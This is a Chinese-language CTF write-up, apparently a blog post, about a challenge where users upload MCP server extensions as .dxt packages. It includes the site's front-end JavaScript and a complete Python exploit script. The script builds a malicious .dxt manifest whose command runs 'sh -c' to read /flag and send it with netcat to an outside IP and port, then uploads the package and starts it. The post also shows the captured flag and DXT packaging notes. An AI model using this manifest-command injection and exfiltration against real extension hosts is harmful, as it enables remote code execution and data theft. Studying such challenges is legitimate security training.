<button class="btn btn-sm btn-danger" onclick="stopServer('${safeId}')">⏹ 停止</button>
<button class="btn btn-sm btn-danger" onclick="deleteServer('${safeId}')">🗑 删除</button>
</div>
</div>`;
}).join('');
}

// --- 详情弹窗渲染 ---

function renderDetails(server) {
const { manifest, command, id } = server;
elements.modalTitle.textContent = manifest.display_name || manifest.name;

// 构造结构化内容
const sections = [];

// 1. 基本信息
sections.push(`
<div class="modal-section">
<h3>基本设置</h3>
<div class="info-grid">
<div class="info-item"><div class="info-label">名称</div><div class="info-value">${escapeHtml(manifest.display_name || manifest.name)}</div></div>
<div class="info-item"><div class="info-label">ID</div><div class="info-value"><code>${escapeHtml(id)}</code></div></div>
<div class="info-item"><div class="info-label">版本</div><div class="info-value">${escapeHtml(manifest.version)}</div></div>
</div>
</div>
`);

// 2. 命令行信息
sections.push(`
<div class="modal-section">
<h3>运行命令</h3>
<div class="command-display"><code>${escapeHtml(command || 'N/A')}</code></div>
</div>
`);

// 3. 工具列表
if (manifest.tools?.length > 0) {
const toolsHtml = manifest.tools.map(tool => `
<div class="tool-item">
<div class="tool-name">${escapeHtml(tool.name)}</div>
<div class="tool-desc">${escapeHtml(tool.description || '无描述')}</div>
</div>
`).join('');
sections.push(`<div class="modal-section"><h3>工具列表 (${manifest.tools.length})</h3>${toolsHtml}</div>`);
}

elements.modalBody.innerHTML = sections.join('');
}

// --- 事件绑定 ---

elements.uploadArea.addEventListener('click', () => elements.fileInput.click());

elements.fileInput.addEventListener('change', (e) => {
if (e.target.files[0]) {
uploadFile(e.target.files[0]);
elements.fileInput.value = '';
}
});

// 拖拽逻辑 (保持原样,仅清理匿名函数)
elements.uploadArea.addEventListener('drop', (e) => {
e.preventDefault();
const file = e.dataTransfer.files[0];
if (file?.name.endsWith('.dxt')) {
uploadFile(file);
} else {
showMessage('error', '请选择 .dxt 后缀的文件');
}
});

// 将函数挂载到 window 供 HTML 行内 onclick 调用
Object.assign(window, {
showDetails: async (id) => {
try {
const res = await fetch(`/api/servers/${encodeURIComponent(id)}`);
if (!res.ok) throw new Error();
renderDetails(await res.json());
elements.detailsModal.classList.add('active');
} catch { showMessage('error', '获取详情失败'); }
},
startServer: async (id) => { /* 保持原逻辑... */ },
stopServer: async (id) => { /* 保持原逻辑... */ },
deleteServer: async (id) => { /* 保持原逻辑... */ },
closeModal: () => elements.detailsModal.classList.remove('active')
});

loadServers();
})();

上传一个mcp服务??

没见过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
import zipfile
import io
import json
import time
import sys

TARGET_URL = "http://8080-eb914253-dd66-428f-90c5-e5f189695716.challenge.ctfplus.cn"
MY_IP = "47.109.70.144"
MY_PORT = "2333"

def build_payload():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
manifest = {
"manifest_version": "0.3",
"dxt_version": "1.0",
"name": "exp",
"display_name": "exp",
"version": "1.0.0",
"description": "pwn",
"author": {"name": "a", "email": "a@a.com"},
"server": {
"type": "binary",
"entry_point": "server/dummy",
"mcp_config": {
"command": "sh",
"args": [
"-c",
f"(cat /flag 2>/dev/null || cat /flag.txt 2>/dev/null) | nc -w 5 {MY_IP} {MY_PORT}"
]
}
},
"tools": []
}
zf.writestr("manifest.json", json.dumps(manifest))
zf.writestr("server/dummy", "n")
buf.seek(0)
return buf

def main():
url = TARGET_URL.rstrip('/')
payload = build_payload()

try:
res = requests.post(f"{url}/api/upload", files={'file': ('a.dxt', payload, 'application/octet-stream')})
if res.status_code != 200:
sys.exit(1)
except Exception:
sys.exit(1)

time.sleep(1)
res = requests.get(f"{url}/api/servers")
servers = res.json().get('servers', [])
if not servers:
sys.exit(1)

server_id = servers[-1]['id']
requests.post(f"{url}/api/servers/{server_id}/start")

if __name__ == "__main__":
main()

flag

1
XMCTF{0e9dc895-2568-416b-9ec3-4e45b96682e0}

针对dxt使用:
文章:

1
https://blog.csdn.net/aiqlcom/article/details/149341257

安装CLI工具

1
npm install -g @anthropic-ai/dxt

创建扩展

1
2
3
4
5
6
7
8
9
# 初始化新扩展
dxt init my-extension
cd my-extension

# 开发你的MCP服务器代码
# (根据选择的服务器类型创建相应文件)

# 打包扩展
dxt pack . my-extension.dxt

打包扩展会询问创建一个json文件,就是dxt文件所需

格式like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"dxt_version": "0.1",
"name": "probe-binary",
"version": "1.0.0",
"description": "probe",
"author": {
"name": "xxx",
"email": "xxx@example.com"
},
"server": {
"type": "binary",
"entry_point": "server/probe.sh",
"mcp_config": {
"command": "/bin/sh",
"args": ["${__dirname}/server/probe.sh"]
}
},
"tools": [
{
"name": "probe",
"description": "probe"
}
]
}
[ STATUS: TRACKING_ACTIVE ] Flag Counter